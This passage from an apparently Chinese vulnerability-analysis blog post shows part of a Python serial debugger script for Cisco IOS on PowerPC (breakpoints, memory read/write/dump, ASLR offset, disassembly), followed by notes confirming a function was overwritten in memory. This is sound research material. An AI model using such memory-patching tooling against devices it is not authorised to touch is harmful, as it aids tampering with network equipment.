  213. logger.info('Breakpoint set at {}'.format(addr))
  214. else:
  215. logger.error('Can\'t set breakpoint at {}. Error writing'.format(addr))
  216. def OnDelBreak(command):
  217. global breakpoints
  218. global breakpoints_count
  219. (_, b_num) = command.rstrip().split(' ')
  220. logger.debug('OnDelBreak')
  221. item_to_delete = None
  222. for k, v in breakpoints.iteritems():
  223. try:
  224. if v[0] == int(b_num):
  225. res = OnWriteMem(k, v[1])
  226. if res:
  227. item_to_delete = k
  228. break
  229. else:
  230. logger.error('Error deleting breakpoint {} at {}'.format(b_num, k))
  231. return
  232. except ValueError:
  233. logger.error('Invalid breakpoint num supplied')
  234. return
  235. if item_to_delete is not None:
  236. del breakpoints[k]
  237. logger.info('Deleted breakpoint {}'.format(b_num))
  238. def OnSearchMem(addr, pattern):
  239. cur_addr = addr.lower()
  240. buf = ''
  241. i = 0
  242. while True:
  243. i += 1
  244. mem = GdbCommand('m{},00c7'.format(cur_addr))
  245. buf += mem
  246. if i %1000 == 0:
  247. print cur_addr
  248. print hexdump(mem.decode('hex'))
  249. if pattern in buf[-100:-1]:
  250. print 'FOUND at {}'.format(cur_addr)
  251. return
  252. cur_addr = pack(">I", unpack(">I",cur_addr.decode('hex'))[0] + 0xc7).encode('hex')
  253. def OnListBreak():
  254. global breakpoints
  255. global breakpoints_count
  256. for k, v in breakpoints.iteritems():
  257. print '{}: {}'.format(v[0], k)
  258. def OnStepInto():
  259. ser.write("$s#73\r\n")
  260. ser.read(5)
  261. OnReadReg()
  262. OnDisas('disas')
  263. def OnNext():
  264. regs = OnReadReg()
  265. pc = unpack('>I', regs[reg_map_rev['pc']].decode('hex'))[0]
  266. pc_after_branch = pc + 8
  267. pc_in_hex = pack('>I', pc_after_branch).encode('hex')
  268. OnBreak('break {}'.format(pc_in_hex))
  269. GdbCommand('c')
  270. OnReadReg()
  271. OnDelBreak('del {}'.format(breakpoints[pc_in_hex][0]))
  272. def OnDumpMemory(start, stop):
  273. buf = ''
  274. print start, stop
  275. if not isValidDword(start) or not isValidDword(stop):
  276. logger.error('Invalid memory range specified')
  277. return
  278. cur_addr = start
  279. while unpack(">I",cur_addr.decode('hex'))[0] < unpack(">I", stop.decode('hex'))[0]:
  280. res = GdbCommand('m{},00c7'.format(cur_addr))
  281. logger.info('Dumping at {} len {}'.format(cur_addr, len(res)))
  282. cur_addr = pack(">I", unpack(">I",cur_addr.decode('hex'))[0] + 0xc7).encode('hex')
  283. buf += res
  284. return buf
  285. def OnSetAslrOffset():
  286. global aslr_offset
  287. (_, offset) = command.rstrip().split(' ')
  288. aslr_offset = hex2int(offset)
  289. logger.info('ASLR offset set to: 0x{}'.format(offset))
  290. def OnDisas(command):
  291. lex = command.rstrip().split(' ')
  292. regs = DisplayRegistersPPC(GdbCommand('g'))
  293. pc = hex2int(regs[reg_map_rev['pc']])
  294. for lexem in lex[1:]:
  295. if lexem != 'aslr':
  296. if not isValidDword(lexem):
  297. logger.error('Invalid address supplied')
  298. return
  299. pc = hex2int(lexem)
  300. logger.debug('OnDisas PC = {}'.format(pc))
  301. buf = OnReadMem(int2hex(pc - 20 * 4), 40 * 4)
  302. md = cs.Cs(cs.CS_ARCH_PPC, cs.CS_MODE_BIG_ENDIAN)
  303. if len(lex) > 1:
  304. if lex[1] == 'aslr' and aslr_offset != None:
  305. pc -= aslr_offset
  306. for i in md.disasm(buf.decode('hex'), pc - 20 * 4):
  307. color = 'green' if i.address == pc else 'blue'
  308. print("0x%x:\t%s\t%s" %(i.address, colored(i.mnemonic, color), colored(i.op_str, color)))
  309. while True:
  310. try:
  311. command = raw_input('> command: ').rstrip()
  312. if command == 'exit':
  313. sys.exit(0)
  314. elif command == 'help':
  315. print_help()
  316. elif command == 'c':
  317. GdbCommand('c')
  318. elif command == 'stepi':
  319. OnStepInto()
  320. elif command == 'nexti':
  321. OnNext()
  322. elif command == 'reg':
  323. OnReadReg()
  324. elif command.startswith('setreg'):
  325. OnWriteReg(command)
  326. elif command.startswith('break'):
  327. OnBreak(command)
  328. elif command.startswith('del'):
  329. OnDelBreak(command)
  330. elif command.startswith('info b'):
  331. OnListBreak()
  332. elif command.startswith('read'):
  333. _, start, length = command.split(' ')
  334. buf = OnReadMem(start, int(length))
  335. for line in hexdump_gen(buf.decode('hex'), base_addr=hex2int(start), sep=' '):
  336. print line
  337. elif command.startswith('write'):
  338. _, dest, value = command.split(' ')
  339. value.decode('hex')
  340. OnWriteMem(dest, value)
  341. elif command.startswith('search'):
  342. _, addr, pattern = command.split(' ')
  343. OnSearchMem(addr, pattern)
  344. elif command.startswith('gdb kernel'):
  345. ser.write('{}\n'.format('gdb kernel'))
  346. elif command.startswith('dump'):
  347. _, start, stop = command.split(' ')
  348. buf = OnDumpMemory(start.lower(), stop.lower())
  349. if buf is None:
  350. continue
  351. else:
  352. with open('dump_file','wb') as f:
  353. f.write(buf)
  354. logger.info('Wrote memory dump to "dump_file"')
  355. elif command.startswith('set_aslr_offset'):
  356. OnSetAslrOffset()
  357. elif command.startswith('disas'):
  358. OnDisas(command)
  359. else:
  360. ans = raw_input('Command not recognized.\nDo you want to send raw command: {} ? [yes]'.format(checksum(command.rstrip())))
  361. if ans == '' or ans == 'yes':
  362. reply = GdbCommand(command.rstrip())
  363. print 'Cisco response:', reply.rstrip()
  364. except (KeyboardInterrupt, serial.serialutil.SerialException, ValueError, TypeError) as e:
  365. print '\n{}'.format(e)
  366. print 'Type "exit" to end debugging session'
  367. # continue

串口使用该脚本,gdbkernel之后关闭串口窗口,然后用脚本连接,即可下断点,调试。

最后调试发现函数已经被成功覆盖
ICxAP.png

此外有时候执行命令会失败,原因是有时候下了断点,目标指令会变成trap指令,只要使用write修改回去即可。

为了防止陷入内核所以可以手动的write回去(这里就是write回去的),但是pc寄存器还是不会变,别的寄存器却会改变,这里还有一个问题,就是r31和r30变成字符串,也不知道是哪里改变的。但是内存确实发生了改变。

后来又pathch了gdb,编译了一个powerpc的gdb,然后使用target remote /dev/ttyUSB0来调试,效果不佳,不如用前面的脚本调试。

0x07 相关链接

原始串口调试脚本 https://nstarke.github.io/cisco-ios/gdb/debugging/powerpc/reverse-engineering/2019/09/02/cisco-ios-gdb-rsp-debugger-script-powerpc.html
该脚本有错误,正确的可以用文中我修改过的
patch gdb的方法 https://vulners.com/securityvulns/SECURITYVULNS:DOC:20364
串口调试的方法(linux) http://www.ctfiot.com/1381.html 按照相应的方式改到windows即可

  • 发表于 2022-09-29 10:02:50
  • 阅读 ( 9979 )
  • 分类:漏洞分析

0 条评论

就叫16385吧
就叫16385吧

11 篇文章

站长统计